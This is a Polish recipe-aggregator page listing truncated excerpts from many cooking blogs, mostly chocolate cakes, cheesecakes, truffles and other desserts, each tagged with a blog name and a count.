wiem w co je jeszcze zamienić. Powidła już były, to innym razem, ale największym odkryciem jest czekośliwka :) przepyszne smarowidło na kanapki lub do naleśników. Alternatywa zdrowa, ponieważ czuć słodycz czekolady i śliwki.  Tylko czas przygotowania ... Tylko 5 h 😜 Składniki : 2 kg śliwek 400 g cukru 1 mleczna czekolada 5 łyżek kakao Przygotowanie : śliwki myjemy i kroimy na mniejsze kawałki(...)wkładamy do garnka/patelni o grubym dnie i smażymy na małym ogniu przez 4 h  od czasu do czasu mieszając po tym czasie dodajemy połamaną czekoladę, kakao i cukier i smażymy jeszcze 1 h po tym czasie gorące powidła przekładamy do czystych słoików i zakręcamy układamy do góry dnem i odstawiamy do ostygnięcia Smacznego

Gotowanie z pasją
Rafaello na waflach + film 96

chwilę a efekt końcowy bardzo pozytywnie zaskakuje.     składniki 4-5 prostokątnych całych wafli 2 pokruszone wafle 1/2 l śmietanki 30% 200 g wiórków kokosowych 2 tabliczki białej czekolady ( po 100 g) 2 opakowania bitej śmietany w proszku przepis Do garnka wlewamy kremówkę, do śmietany dodajemy połamaną białą czekoladę i całość podgrzewamy na małym ogniu aż czekolada się rozpuści

Smakowite Dania
Ciasto czekoladowe z wisniami czyli Slodki Czwartek odc.156 120

Zobaczyłam je w Moich Wypiekach i nie mogłam mu się oprzeć. Przecież połączenie wiśni, migdałów i czekolady to połączenie idealne, czyż nie? Ciasto jest wilgotne, pełne smaku, jedyne zastrzeżenie to to, że się ciut kruszy. Warto wypróbować ten przepis szczególnie, ze sezon wiśniowy w pełni. Ciasto czekoladowe z wiśniami 90 g masła 3/4 szkl. drobnego brązowego cukru 1 duże jajko(...)czekolady gorzkiej 70%, roztopionej i lekko przestudzonej 150 g mąki pszennej pół szklanki zmielonych migdałów 1/4 szklanki kakao 1 łyżeczka proszku do pieczenia pół łyżeczki sody oczyszczonej 220 ml kefiru 300 g wiśni Wszystkie składniki powinny mieć temperaturę pokojową, jedynie wiśnie mogą być zamrożone. Do misy miksera wkładamy masło i cukier i ucieramy do powstania jaśniejszej, puszystej masy maślanej. Dodajemy

Dzieje kuchennej Wiewióry
Śniadaniowa kasza manna z musem truskawkowym. 139

czasu lubię sobie zjeść. Macie ochotę to koniecznie przygotujcie. Zachęcam i smacznego życzę. Składniki: 3 szklanki mleka 7 łyżek kaszy manny 1 łyżka cukru 2 banany 3 kostki mlecznej czekolady 6 łyżek ulubionych płatków śniadaniowych około 20 dag świeżych truskawek ewentualnie cukier do truskawek Wykonanie: 1. Mleko zagotowujemy, wsypujemy cukier i kaszę mannę, mieszamy energicznie i gotujemy do zgęstnienia kaszy(...)Umyte, oczyszczone z szypułek i dokładnie osuszone truskawki miksujemy blenderem na gładki mus ( jeżeli chcemy mus można posłodzić, ja nie słodziłam ). 3. Banany obieramy i kroimy w plasterki. Czekoladę ścieramy na tarce o dużych oczkach. 4. Następnie płatki, banany, czekoladę i mus wykładamy według uznania na kaszę i podajemy. 5. Smacznego życzę. Rady: Z przepisu wychodzi trzy spore porcje. Szklanka

Izabelawkuchni
Przyjęcie w stylu włoskim – proste przekąski i przystawki 292

posypać ją parmezanem. Przykrywamy całość folią aluminiową i pieczemy przez godzinę, zdejmując folię na ostatnie 10 minut. Lasagne powinna być pięknie pofalowana. Jest pyszna także na zimno. 2 gorzkie czekolady (200 g), 5-6 łyżek śmietanki 30%, 2 łyżki miodu, 2 łyżki prosecco, orzechy laskowe, gorzkie kakao Nie byłabym sobą, gdybym nie podała też czegoś słodkiego. Desery można przygotować wcześniej(...)Czekoladowe trufle idealnie pasują na włoskie przyjęcie. Wystarczy rozpuścić dwie czekolady i dodać do nich kremówkę, miód i prosecco. Wymieszać, aż zgęstnieje i zostawić do schłodzenia (najlepiej w lodówce – jednak nie za długo). Gęstą masę porcjujemy łyżeczką wkładamy do środka orzech i formujemy niewielką kulę. Obtaczamy w kakao. Żadna bombonierka nie może się równać z takimi truflami

Poezja smaku
MROŻONY DESER KOKOSOWY Z INKĄ, LODAMI I CZEKOLADĄ 102

wielką przyjemnością sięgamy po mrożone, orzeźwiające desery! Zainspirowana kawą INKA stworzyłam kolejną, pyszną propozycję na upalny lipiec! Mrożona kawa INKA na mleku kokosowym z dodatkiem waniliowych lodów, mlecznej czekolady i domowych kokosowych pralinek tworzy fantastyczną całość, której żaden łasuch się nie oprze! Robi się błyskawicznie, a smakuje fenomenalnie! Spróbujcie! SKŁADNIKI: ( 2 porcje ) DESER: * kawa INKA klasyczna – 2 łyżki * mleko(...)kokosowe – 400 g ( 1 puszka ) * lód * cukier ( drobny ) – 3 łyżki * ulubione waniliowe lody – 2 duże gałki * mleczna czekolada – 100 g KOKOSOWE PRALINKI: * masło – 50 g * cukier puder – 1/4 szkl * małe jajko – 1 szt * wiórki kokosowe – 80 g * herbatniki – 50 g SPOSÓB PRZYRZĄDZENIA : KOKOSOWE PRALINKI: Miękkie masło ucieramy z cukrem na puszystą masę. Pod koniec dodajemy roztrzepane

Ostra na Słodko
RODZYNKOWIEC 91

próbował! Zachęcam do przygotowania ;) Biszkopt: 6 jaj, 1 szkl cukru, 6 łyżek mąki pszennej, 1 łyżeczka proszku do pieczenia, 2-3 łyżki kakao, Masa rodzynkowa: 1 gorzka czekolada, 1 mleczna czekolada, ½ kostki masła. Masa budyniowa: ½ l mleka, 6 łyżek cukru, Cukier waniliowy, po 2 łyżki mąki pszennej i ziemniaczanej, 1 kostka masła lub margaryny, 2 łyżki kakao, 2 łyżki wódki(...)części biszkoptu. Biszkopt: Białka oddzielić od żółtek, ubić, dodać cukier oraz żółtka. Na kniec dodać przesianą mąkę, kakao oraz proszek do pieczenia. Piec ok 40 minut w 170st C. Czekoladę oraz masło rozpuścić w kąpieli wodnej. Połączyć z osączonymi rodzynkami. Ugotować budyń. Wystudzić. Masło ubić na puszysty krem, dodać budyń, kakao oraz wódkę. Ubijać do uzyskania jednolitej konsystencji. Nasączony spód

Słodki Zakątek
Kokosowe ciastka owsiane z białą czekoladą 182

ciasteczka, proste i pyszne owsiane z suszonymi owocami.  Kilka składników, trochę więcej jak pół godzinki i możemy się zajadać ;-) Ciasteczka same w sobie są wspaniałe, a dodatek białej czekolady tylko podkreśla ich wspaniały smak. Składniki: 500 gram płatków owsianych  100 gram ulubionych bakalii  30 gram wiórek kokosowych 300 ml wody 2 łyżka masła 1 łyżka miodu(...)łyżeczki proszku do pieczenia szczypta soli dodatkowo: biała czekolada 30 ml mleka Przygotowanie: W rondelku podgrzewamy wodę z masłem, do rozpuszczenia masła.  Płatki owsiane mielimy. Bakalie drobno siekamy lub mielimy. Do miski wsypujemy płatki owsiane, sól, proszek do pieczenia, wiórki kokosowe oraz rozdrobnione bakalie, a następnie wszystko razem mieszamy. Dodajemy miód i zalewamy gorącą wodą  z rozpuszczonym masłem

Życie zaczyna się w kuchni
KORZENNE CIASTO CUKINIOWE 124

Czekoladowe ciasto z cukinią i dodatkiem pierników lukrowanych, oblane polewą z gorzkiej czekolady i czerwonymi porzeczkami na wierzchu. Ciasto jest mocno czekoladowe z nutą piernika, a do tego wilgotne i puszyste. Nie jest ono za słodkie samo w sobie, a jeszcze dodatek czerwonych porzeczek sprawia, że nawet osoby nielubiące słodyczy zjedzą to ciasto z przyjemnością. Zamiast porzeczek można dodać inne(...)szklanki mąki 1/2 szklanki kakao 1 i 1/2 łyżeczki proszku do pieczenia 1/2 łyżeczki sody szczypta soli 2 łyżeczki przyprawy korzennej 100 g pierników lukrowanych Dodatkowo: 100 g czekolady gorzkiej 1 łyżka masła 1 łyżka śmietany 30% garść czerwonych porzeczek 6 szt. pierników lukrowanych Wykonanie: Cukinię obieramy ze skóry i ścieramy na tarce o grubych oczkach. Jajka wbijamy do miski

Kuchnia MagdaLeny
CIASTO "KOKOSEK" 163

waniliowego 2 łyżki mąki pszennej 2 łyżki mąki ziemniaczanej 150g miękkiego masła 300g wiórków kokosowych masa śmietanowa 450-500g śmietanki 30% musi być schłodzona 100g (jedna tabliczka) białej czekolady ok.80g wiórki kokosowe do posypania wierzchu ciasta. WYKONANIE Na początek przygotowujemy masę kokosową. Żółtka ucieramy razem z cukrem waniliowym na gładką masę.Dodajemy szklankę mleka,mąkę ziemniaczaną i pszenną.Dokładnie(...)Gotowy budyń studzimy.Miękkie masło miksujemy na puszystą masę ok 4 min.i porcjami dodajemy ugotowany i zimny budyń.Na koniec wsypujemy wiórki kokosowe i delikatnie mieszamy. Masa śmietanowa Białą czekoladę rozpuszczamy w kąpieli wodnej i studzimy.Śmietanę wlewamy do miski i ubijamy na sztywno.Na koniec dodajemy przestudzoną ale płynną czekoladę i mieszamy. Czas na złożenie naszego ciasta. Blaszkę do ciasta

Mała w garnku miesza
Zdrowe brownie z mąki kasztanowej z orzechami 124

bezglutenowa. Bogata w błonnik i spore ilości białka, za to  mniej tłuszczu niż inne mąki z orzechów. 300 g mąki kasztanowej Bio Planet 150 gram masła 150 gram czekolady gorzkiej 4 łyżki mielonych orzechów laskowych  2 łyżki kakao 100 gram cukru kokosowego 3 jaja 2 łyżeczki proszku do pieczenia Masło rozpuścić z czekoladą w kąpieli wodnej. Mąkę kasztanową(...)przesiać, dodać wszystkie suche składniki, wbić jaja, wlać masło z rozpuszczoną czekoladą. Wymieszać na gładką masę i przelać do tortownicy. Piec w 190 stopniach przez 20 minut. Podawać z lodami lub z owcami

AZgotuj!
SERNIK JAPOŃSKI Z TRZECH SKŁADNIKÓW 163

hitem w sieci. Ja postanowiłam przetestować go dopiero teraz. Jest prosty w wykonaniu, puszysty i bardzo smaczny. Z dodatkiem świeżych owoców, komponuje się wręcz idealnie :) SKŁADNIKI: 160 g białej czekolady 160 g kremowego serka Philadelphia  4 jajka do dekoracji świeże owoce (opcjonalnie) A jak to zrobić: Czekoladę rozpuścić w kąpieli wodnej, lekko przestudzić. Dodać serek i delikatnie wymieszać. Białka(...)oddzielić od żółtek. Żółtka przy pomocy rózgi wymieszać z masą z czekolady. Białka ubić na sztywno i delikatnie połączyć z pozostałymi składnikami. Tortownicę o średnicy 18 cm wyłożyć papierem do pieczenia, zarówno spód i boki. Ciasto przelać do formy, owinąć ją od zewnątrz folią aluminiową, postawić na blasze na którą wylać szklankę gorącej wody. Wstawić do piekarnika nagrzanego

Kuchnia w opałach
MUFFINKI Z KAWAŁKAMI CZEKOLADY 173

łyżeczki proszku do pieczenia, 1/2 szklanki oleju (u mnie Wielkopolski z kokosem), 1/2 szklanki mleka - W TEMP. POKOJOWEJ 2 jajka -  W TEMP. POKOJOWEJ . Dodatkowo: 70-100 g czekolady deserowej lub mlecznej, papilotki do muffinek. Przygotowanie: W oddzielnych miskach mieszam składniki suche i składniki mokre, następnie łączę ze sobą. Masę mieszam niezbyt długo, mogą pozostać małe grudki. Czekoladę kroję(...)kawałki. Formę do muffin wykładam papilotkami, napełniam masą do 2/3 wysokości, a na wierzchu wtykam kawałki czekolady (można również lekko wmieszać w ciasto - wedle Waszego uznania). Piekę przez około 20-25 minut w 180 stopniach (grzałka góra-dół

JejKuchnia
Rolada jagodowo malinowa 109

octu winnego 1 łyżka mąki ziemniaczanej krem: 250 g serka mascarpone 250 ml śmietany kremówki 36 % 100 g malin 100 g jagód pozostałe: 1/2 szklanki konfitury jagodowej 50 g czekolady gorzkiej 1 łyżka masła jagody do dekoracji melisa Beza: Białka wyjmuję wcześniej z lodówki żeby miały temp pokojową. Ubijam na sztywno z octem ale nie przebijam ich. Dodaje po łyżce(...)rozsmarowuje konfiturę zostawiając po 1 cm wolnym z każdego brzegu, na nią śmietanę ,układam jagody i maliny i zwijam od krótszego boku. Roladę przekładam do lodówki na dwie godziny. Czekoladę i masło przekładam do miseczki i rozpuszczam w kąpieli wodnej. Przed podaniem dekoruję bezę czekoladą i jagodami. Bezę można jeść od razu

wesoła kuchnia
Przepis #154 Kruche ciasto z kremem czekoladowym oraz owocami 150

ciasto - 75 g mąki owsianej - 150 g mąki kukurydzianej - 3 żółtka - 70 ml rozpuszczonego oleju kokosowego - 2-3 łyżki syropu daktylowego Masa - 300 ml mleczka kokosowego - 90 g gorzkiej czekolady - 1 - 2 łyżki syropu daktylowego Dodatkowo - dowolne owoce Wykonanie Kruche ciasto Obie mąki wsypujemy do miski. Dodajemy żółtka oraz rozpuszczony olej kokosowy. Na koniec dodajemy syrop daktylowy. Całość dokładnie mieszamy(...)przygotowanym ciastem wyklejamy formę do pieczenia (moja ma wymiary 24x24 cm). Pieczemy w piekarniku nagrzanym do 180 stopni przez około 20 - 25 min. Następnie pozostawiamy do wystudzenia.  Masa Czekoladę kruszymy i roztapiamy w kąpieli wodnej. Dodajemy mleczko kokosowego i dokładnie mieszamy. Na koniec dodajemy syrop daktylowy i łączmy do połączenia się wszystkich składników. Pozostawiamy do lekkiego przestudzenia. Następnie wylewamy

Health-Fit-Life
Tort czekoladowy z truskawkami 130

według własnego smaku Mocno schłodzoną śmietanę ubić na sztywno, dodać cukier, serek mascarpone, kajmak i chwilę ubijać do połączenia się składników. Polewa 200 g śmietany kremówki 100 g gorzkiej czekolady 100 g mlecznej czekolady Śmietanę podgrzać , a następnie wymieszać z pokruszoną czekoladą tak, aby powstała gładka polewa. Składanie ciasta biszkopt 1/2 kremu truskawki ułożyć na całości 1/2 kremu biszkopt polewa

O kuchni z uczuciem
Pierogi z morelami, jogurtem naturalnym i białą czekoladą. 161

dodatkami wyszło idealnie. Polecam. Zróbcie koniecznie :) Składniki: Ciasto: 2 szklanki mąki tortowej około 1 szklanka ciepłej wody pół małej łyżeczki soli Dodatkowo: około 40 dag moreli 5 dag białej czekolady 20 dag jogurtu naturalnego typu greckiego 2 łyżeczki cukru pudru 2 łyżki cukru trzcinowego mąka pszenna do posypania stolnicy sól do gotowania Wykonanie: 1. Ciasto: Z podanych składników stopniowo wlewając(...)elastyczne ciasto. Następnie z ciasta formujemy kulę, przykrywamy ściereczką i odstawiamy przynajmniej na 15 minut, żeby odpoczęło. 2. Morele płuczemy, osuszamy, usuwamy pestki i kroimy na mniejsze kawałki. Czekoladę ścieramy na tarce o dużych oczkach. Jogurt naturalny mieszamy z cukrem pudrem. 3. Ciasto wałkujemy na posypanej mąką stolnicy, szklanką wykrawamy krążki, nakładamy morele i zlepiamy formując pierogi. 4. Pierogi gotujemy

Izabelawkuchni
Wiśniowa chmurka z amaretto 201

Letnia poezja smakowa. Najlepiej smakuje dobrze schłodzona- śmietana z gorzką czekoladą cudownie łagodzi orzeźwiającą warstwę wiśniową z amaretto   a pianka bezowa wprost rozpływa się w ustach. Wiśniowa chmurka to prawdziwa gratka dla smakoszy wiśni . To ciasto to hit wśród letnich wypieków. Składniki na   blaszkę 25/30 cm Ciasto kruche: 1 pełna szklanka mąki pszennej 10 dag masła 3 żółtka(...)łyżeczka cukru   waniliowego Krem   straciatella: 400 ml   śmietanki 30%-36% 25 dag serka mascarpone 3 łyżki cukru pudru 2 listki /łyżeczki żelatyny 50 g gorzkiej czekolady Galaretka z wiśniami: 1/2kg świeżych wiśni 3 łyżki cukru 50 ml likieru amaretto 3 galaretki wiśniowe Dr.Oetker 2 szklanki wody Beza: 3 białka 3/4 szklanki cukru 2 łyżeczki mąki ziemniaczanej

Wanilia i Kardamon
Truskawkowa stracciatella 160

się rozpuści. Zdjąć z ognia, dodać galaretkę i żelatynę, dokładnie wymieszać i zmiksować. Odstawić. Masa śmietanowa: 250 g serka mascarpone 500 g śmietany 18 % łyżka żelatyny 100 g gorzkiej czekolady szklanka cukru pudru opakowanie cukru wanilinowego Wszystkie składniki powinny być w temperaturze pokojowej. Serek mascarpone zmiksować z połową śmietany 18 %,cukrem pudrem i cukrem wanilinowym. Drugą połowę śmietany zmiksować(...)wymieszać z rozpuszczoną w niewielkiej ilości wody żelatyną. Połączyć obie masy. Czekoladę zetrzeć na tarce o drobnych oczkach. 2/3 kremu wymieszać z tartą czekoladą. Salaterkę wysmarować masłem. Na spód wlać 1/3 kremu stracciatella i schłodzić w lodówce. Na masę wylać mus truskawkowy i powrzucać resztę truskawek.Schłodzić w lodówce aż stężeje. Na truskawki wyłożyć białą masę-schłodzić, ostatnia warstwa

Anielskie wypieki
DROŻDŻÓWKI KAKAOWE Z MALINAMI 112

mleka 60 g masła 1 jajko 1 żółtko 4 łyżki cukru szczypta soli 4 łyżki cukru 14 g świeżych drożdży 2 łyżki kakao DEKORACJA: krem czekoladowy maliny 1/2 tabliczki czekolady Świeże drożdże pokruszyć, dodać do nich łyżkę cukru, mąki i mleko. Wymieszać. Odstawić na 15 minut do podwojenia się zaczynu. Mąkę, cukier, sól, jajko, żółtka, kakao wymieszać. Dodać zaczyn drożdżowy(...)dnem szklanki zrobić wgłębienie. Dodać po łyżeczce kremu czekoladowego i kilka malin. Bułki posmarować jajkiem. Piec w nagrzanym piekarniku do 180 st przez 17-18 minut. Po wystudzeniu rozpuścić czekoladę w kąpieli wodnej i polać każdą drożdżówkę roztopioną czekoladą

Kuchnia w oparach
Przekąski idealne do chrupania podczas.... meczu! Beskidzkie! 143

dzisiejszy wieczór przygotowałam trzy przekąski. Oczywiście przekąski od Beskidzkich same w sobie są smaczne ale lekkie "podrasowanie" im nie zaszkodzi.  1. Paluszki Beskidzkie z sezamem w gorzkiej czekoladzie i kolorowej cukrowej posypce. Potrzebujemy; Beskidzkie paluszki z sezamem kilka kostek gorzkiej czekolady cukrowe posypki Paluszki maczamy w rozpuszczonej czekoladzie, posypujemy posypką i wkładamy na chwilę do lodówki. Najlepiej na stojąco

Radość kipiąca uśmiechem.
Przepis #152 FIT Rolada Snikers 115

Witajcie, jest weekend  musi być ciacho! Dzisiaj przygotowałam bezglutenową roladę o smaku Snikersa - bez dodatku białego cukru oraz mleka. Ciasto ma wyraziście czekolady smak i chrupiące nadzienie. Idealnie sprawdzi się na deser dla dużych i małych.  Nagrałam także film z jej przygotowaniem - link znajdziecie na końcu przepisu (mój pierwszy! - jestem ciekawa jak Wam się spodoba:)).   Wartości odżywcze(...)kukurydzianej - szczypta proszku do pieczenia - 2 łyżki kakao - 2 -3 łyżki syropu daktylowego Masa - 200 g daktyli - 1 łyżka masła orzechowego - 30 g orzeszków ziemnych Dodatkowo - kilka kostek gorzkiej czekolady - łyżka posiekanych orzeszków ziemnych Wykonanie Białka oddzielamy od żółtek. Następnie białka ubijamy na sztywną pianę. Pod koniec dodajemy syrop daktylowy. Dokładnie miksujemy przez chwilę. D odajemy po jednym żółtku

Health-Fit-Life
Mrożony napój kawowo-waniliowy i kawy smakowe little’s (recenzja) 205

aromatu wanilii Bourbon. Wspaniały aromat i smak. Osobiście uwielbiam połączenie wanilii i kawy. Duet doskonały. Skład: waniliowa kawa rozpuszczalna liofilizowana 100% Arabica, aromat naturalny Wanilii Bourbon. Kawa rozpuszczalna Czekolada Szwajcarska Little’s Arabika z dodatkiem naturalnego ekstraktu ciemnej czekolady szwajcarskiej. Po zaparzeniu wyraźnie czuć smak czekolady. Skład: kawa rozpuszczalna liofilizowana 100% Arabika, aromat naturalny lub identyczny z naturalnym

Słodkie okruszki
Przepis #151 Lody podwójnie czekoladowe 105

Składniki - 150 ml mleczka kokosowego - 1 łyżka syropu klonowego - 30 g odżywki białkowej - 1-2 łyżki kakao  Dodatkowo - kilka kostek gorzkiej czekolady  - 1 -2 łyżki oleju kokosowego Wykonanie W kąpieli wodnej rozpuszczamy mleczko kokosowe oraz syrop klonowy. Dokładnie mieszamy. Pod koniec dodajemy odżywkę białkową oraz kakao. Ponownie mieszamy łącząc dokładnie wszystkie składniki. Tak przygotowaną masę przelewamy do foremek(...)lodów i wkładamy do zamrażalnika najlepiej na całą noc.   Kiedy lody będą dobrze zmrożone przygotowujemy polewę. W kąpieli wodnej rozpuszczamy czekoladę oraz olej kokosowy. Pozostawiamy do lekkiego wystudzenia . Następnie bardzo delikatnie polewamy nią nasze lody. Ponownie chowamy do zamrażalnika. Lody naprawdę idealnie chłodzą w upalne dni. W smaku dość mocno czuć czekoladę.  Smacznego

Health-Fit-Life
Scones z borówką amerykańską, białą czekoladą i płatkami migdałów 124

proszku do pieczenia 2 jajka L 100 g miękkiego masła 50 g płatków migdałów 2 łyżki cukru szczypta soli 1,5 szklanki borówki amerykańskiej  100 g posiekanej białej czekolady 1. Wszystkie składniki oprócz borówek, płatków migdałów i czekolady dałam do miski miksera i zmiksowałam, dodałam żurawinę, pokruszone płatki migdałów i czekoladę. Zagniatanie dokończyłam na stolnicy.  2. Jak powstanie

kruche babeczki
DINO PARTY CZEKOLADOWY TORT Z KREMEM ORZECHOWO-ŚMIETANOWYM 196

Przedstawiam tort dla wybrednych... Czekoladowy biszkopt przełożony kremem na bazie masła orzechowego ( uwielbiam) i masą śmietanowo-kokosową obsypany posiekaną gorzką czekoladą. Pycha... W mojej kuchni królują zdrowe słodycze, ale zdarzają się wyjatkowe okazje, które pozwalają mi zaszaleć. Świętując czwarte urodziny mojego syna -fana dinozaurów, (ośmieliłabym się nawet powiedzieć  psychofana) powstał cudowny tort. SKŁADNIKI NA BISZKOPT: 5 jajek w temperaturze(...)uchylonym piekarniku. KREM ORZECHOWY: (na jedną warstwę i obłożenie tortu) SKŁADNIKI: 250g. masła orzechowego 400 ml. śmietanki kremówki 2-3 łyżki cukru pudru 2 opakowania śmietan-fixu tabliczka gorzkiej czekolady słoik dżemu np. brzoskwiniowy PRZYGOTOWANIE: masło orzechowe miksuję z połową szklanki śmietanki pozostałą śmietankę ubijam na koniec dodając cukier puder i śmietan-fixy mieszam delikatnie łyżką masło z bitą śmietanom

Upiecz sobie babeczkę
Kokosowo - truskawkowy deser z tapioką i czekodżemem Łowicz 130

efektowny deser z tapioką, czyli przeźroczystymi perełkami o jędrnej strukturze, nie zawierające glutenu, ani cholesterolu! Deser przygotowany jest na mleku kokosowym, przełożony warstwą czekodżemu Łowicz Truskawka z Belgijską Czekoladą oraz zmiksowanymi truskawkami- bo przecież sezon truskawkowy trwa więc warto wykorzystać go w pełni. Kokos + czekolada + truskawki... to musi być pyszne! 3-6 porcji: * mleko kokosowe- 400 ml * woda(...)truskawki- 200 g * tapioka- 60 g * cukier- 1 łyżeczka * sok z cytryny- 1 łyżka * Czekodżem Łowicz Truskawka z Belgijską Czekoladą- 1 słoik Tapiokę wymieszać z mleczkiem kokosowym, wodą oraz cukrem i moczyć przez około 30 minut. Namoczoną tapiokę gotować na bardzo małym ogniu- często mieszając- do miękkości, około 50 minut (czas dotyczy dużych kulek, mniejsze kulki tapioki gotują się

Kraina Miodem Płynąca
Angielskie ciasteczka owsiane – pychota  128

skórką pomarańczy 2 szklanki mąki luksusowej typ 550 2 ½ szklanki płatków owsianych ½ łyżeczki soli 1 łyżeczka proszku do pieczenia 1 łyżeczka sody oczyszczonej 100 g gorzkiej lub mlecznej czekolady 100 g siekanych orzechów włoskich 200 g rodzynek Wykonanie: Orzechy posiekać. Czekoladę pokroić w drobną kostkę. W misce utrzeć mikserem masło z cukrem białym i brązowym, cukrem ze skórką pomarańczy, olejkiem(...)waniliowym i jajkami. W oddzielnej misce zmieszać mąkę, płatki, proszek, sodę oraz sól. Dodać do utartego masła. Wsypać rodzynki, orzechy oraz czekoladę. Wyrobić ręką. Ciasto będzie kleiło się do rąk. Blachy o wielkości piekarnika wyłożyć papierem do pieczenia. Formować kulki, układać na blasze i spłaszczać. Zachować duże odstępy, ponieważ ciasteczka rosną na boki. Piec w piekarniku nagrzanym

Przepisy Babci
Truskawkowo kawowy sernik 257

polecam. spód: 180 g ciastek kruchych 50 g masła masa serowa: 800 g serka homogenizowanego naturalnego 1 szklanka musu truskawkowego 25 g truskawek 1/3 szklanki cukru pudru 100 g czekolady białej 3 łyżki żelatyny masa kawowa: 1 i 1/2 szklanki śmietany kremówki 30 % 1 łyżeczka kawy rozpuszczalnej 1 łyżeczka czubata żelatyny 1 łyżka cukru pudru dekoracja: truskawki kawa mięta Spód(...)wykładam papierem do pieczenia, wysypuję masę z ciastek i dociskam palcami. Wstawiam do nagrzanego piekarnika temp 170 stopni i piekę 5 minut. Masa serowa: Czekoladę rozpuszczam w kąpieli wodnej. Żelatynę namaczam w 6 łyżkach zimnej wody, i rozpuszczam w mikrofalówce. Do miski przekładam serki,cukier, dodaję mus truskawkowy, mieszam mikserem. Wlewam stopniowo jeszcze ciepłą czekoladę i cały czas mieszam mikserem

wesoła kuchnia
Gotowany sernik z musem truskawkowym 140

laska wanilii 4 jajka 2 budynie waniliowe 200ml mleka Mus truskawkowy: 500g świeżych truskawek 1/2 szklanka wody 1 galaretka truskawkowa Dodatkowo: 350g herbatników 300g świeżych truskawek 50g mlecznej czekolady Wykonanie: 1. Mus truskawkowy: Truskawki umyć, pozbawić szypułek, przełożyć do rondelka, dodać wodę i zagotować. Wsypać galaretkę i zmiksować blenderem (nie gotować). Mus pozostawić do lekkiego stężenia. 2. Masa serowa(...)tężejący mus truskawkowy i wstawić do lodówki  na około 30 minut. 5. Po tym czasie ułożyć połówki truskawek jedna obok drugiej i polać rozpuszczoną w kąpieli wodnej  czekoladą. Dlaczego warto przygotować sernik z musem truskawkowym? # Nie zawiera sztucznych barwników, konserwantów ani ulepszaczy smaku # Swoim cudownym smakiem i kuszącym wyglądem zachwyci Waszych gości # Z pewnością zostanie królem letnich deserów

Szalona Kuchnia Eweliny
PODWÓJNIE TRUSKAWKOWE PTYSIE RED VELVET 131

mąki ziemniaczanej 5 jajek szczypta czerwonego barwnika z proszku 1 łyżeczka liofilizowanych truskawek w proszku krem: 250 ml kremówki 36% 250 g serka mascarpone 1 tabliczka białej czekolady kilka truskawek Mleko, wodę oraz Palma formy Bielmar gotujemy. Mąkę pszenną przesiewamy z mąką ziemniaczaną i dodajemy do gotujących się składników. Ciasto energicznie mieszamy trzymając na ogniu przez ok 40 sek. Odstawiamy(...)średnicy. Między jednym a drugim ptysiem należy zostawić odstęp ponieważ ciasto urośnie. Pieczemy ok 30 minut w temp. 200 st C bez termoobiegu. Przygotowujemy krem: Czekoladę rozpuszczamy w kąpieli wodnej. Śmietankę ubijamy na sztywno. Dodajemy serek mascarpone oraz przestudzoną białą czekoladę. Mieszamy krem.  Truskawki czyścimy ze szpatułek. Kroimy i dodajemy do kremu. Delikatnie mieszamy do połączenia się owców

Kuchnia w oparach
SERNIK GOTOWANY NA BISZKOPCIE, MOJA DELICJA + FILMIK 863

budynie waniliowe  1 łyżka mąki ziemniaczanej  2 jajka             DODATKOWO :  300 g delicji morelowych lub pomarańczowych  100 g czekolady deserowej + 1/4 szklanka mleka  wiórki kokosowe do posypania  blaszka 25/35(...)wylewamy część masy budyniowej, przykrywamy drugim ciastem i lekko dociskamy. Na wierzch rozkładamy resztę masy i równo ją rozprowadzamy.  Delicje rozkładamy równo w rzędach, biszkoptem na dół a czekoladą do góry i lekko je dociskamy.  Czekoladę łamiemy na kawałki, wlewamy mleko i podgrzewamy w mikrofalówce aż się rozpuści. Kiedy przestygnie rozsmarowujemy ją w lukach między delicjami oraz rozsypujmy

Kulinarne Fantazje Marioli
arbuzowiec (sernik na zimno) 127

Takie dobre ciacho na letnie upały chyba dawno mi nie wyszło. Całą robotę robi tu arbuz ale musi być słodki i soczysty. Masę serową wzbogaciłam drobinkami czekolady a całość osadziłam na czarnych herbatnikach Petit Beurre Blacky. Mają nie tylko ciekawszy kolor ale są mocno kakaowe, przepyszne. A samo ciasto jest lekkie, orzeźwiające i nie jakoś strasznie kaloryczne więc można wsunąć(...)razu dokładkę:) *foremka 24*24 cm Składniki: 1 kg serka z wiaderka 5-6 łyżeczek żelatyny 70 g mlecznej czekolady 3 żółtka 3/4 szklanki cukru 2 opakowania czerwonej galaretki herbatnki Pettit Beurre Blacky od Cukry Nyskie 500 g miąższu arbuza Galaretki rozpuścić w 3 szklankach wrzątku, wystudzić. Żółtka wbić do metalowej miski, ustawić ją nad garnkiem z gotującą się wodą

Domowa Cukierenka-Domowa Kuchnia
Czekoladowe ciasto z truskawkami 163

Łączymy składniki co jakiś czas mieszając. Kiedy mleko będzie ciepłe dodajemy masło i je rozpuszczamy w masie czekoladowej. Odstawiamy do przestudzenia. Mieszamy razem z żółtkami i odlewamy pół szklanki czekolady. W miseczce przesiewamy mąkę i proszek do pieczenia. Wlewamy czekoladę i miksujemy do powstania gładkiej masy. W oddzielnym naczyniu ubijamy pozostałe białka na sztywna pianę i dodajemy je do pozostałego(...)szypułki. Kroimy truskawki na pół i wykładamy na wierzch. Wstawiamy formę na 45 minut do rozgrzanego piekarnika do 180 stopni (grzanie góra - dół). Upieczony placek wystawiamy i polewamy pozostałą czekoladą. Studzimy.   Smacznego

ChilliJemy
Snikers lodowy – pyszne ciasto bez pieczenia! 465

sztuki kakaowych herbatników 1 puszka masy kajmakowej (400g) 150g orzeszków ziemnych niesolonych 250g serka mascarpone 330g śmietany kremówki 30% lub 36% 2 łyżki cukru pudru 1 mleczna czekolada 3 łyżki mleka 3 batoniki snikers – do dekoracji     *** Prostokątną formę (keksówkę) wykładamy folią spożywczą. Na dnie formy układamy warstwę nasączonych mlekiem herbatników. Pierwszą i ostatnią warstwę herbatników nasączamy mlekiem(...)nasączmy mlekiem*** *** Ciasto wstawiamy do lodówki na całą noc, a następnie przekładamy na trzy godziny do zamrażalki. Przed wyjęciem z zamrażalki przygotowujemy polewę: do garnuszka wlewamy mleko, wkładamy połamaną czekoladę, podgrzewamy i mieszamy, aż czekolada się rozpuści. Polewę odkładamy do wystudzenia *** *** Ciasto wyjmujemy z zamrażalki, delikatnie wyjmujemy z foremki i zdejmujemy folię spożywczą *** *** Po wyjęciu z zamrażalki ciasto oblewamy polewą

Blog z Apetytem
oszukane brownie 157

